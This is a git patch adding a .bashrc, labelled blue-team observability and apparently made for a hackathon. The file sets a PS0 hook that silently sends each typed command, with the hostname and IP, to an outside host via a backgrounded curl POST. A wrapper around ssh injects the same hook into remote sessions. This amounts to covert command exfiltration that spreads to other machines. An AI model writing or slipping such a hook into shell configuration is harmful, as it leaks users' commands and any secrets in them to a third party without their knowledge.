From da75af686fe60739d0f6160936ccdb1333241881 Mon Sep 17 00:00:00 2001 From: cubernetes Date: Fri, 14 Apr 2023 04:41:42 +0200 Subject: [PATCH] bashrc --- blueteam_observability/.bashrc | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 blueteam_observability/.bashrc diff --git a/blueteam_observability/.bashrc b/blueteam_observability/.bashrc new file mode 100644 index 0000000..6b9bda0 --- /dev/null +++ b/blueteam_observability/.bashrc @@ -0,0 +1,9 @@ +export PS0='$(__cmd () { hostname | tr -d "\n"; printf "@"; ip -o route get to 8.8.8.8 | sed -n "s/.*src \([0-9.]\+\).*/\1/p" | tr -d "\n"; printf ": "; fc -lnr | head -1 | xargs; }; curl -sL https://hackhpi.kyudev.xyz/api/blue -X POST -H "Content-Type: application/json" -d "{\"data\": \"$(__cmd | base64 -w0)\", \"timestamp\": \"$(date +%s)\"}" >/dev/null & unset -f __cmd)' + +ssh () { + if [ -n "${@}" ]; then + $(type -P ssh) -t "${@}" "export PS0='${PS0}'; bash" + else + $(type -P ssh) + fi +}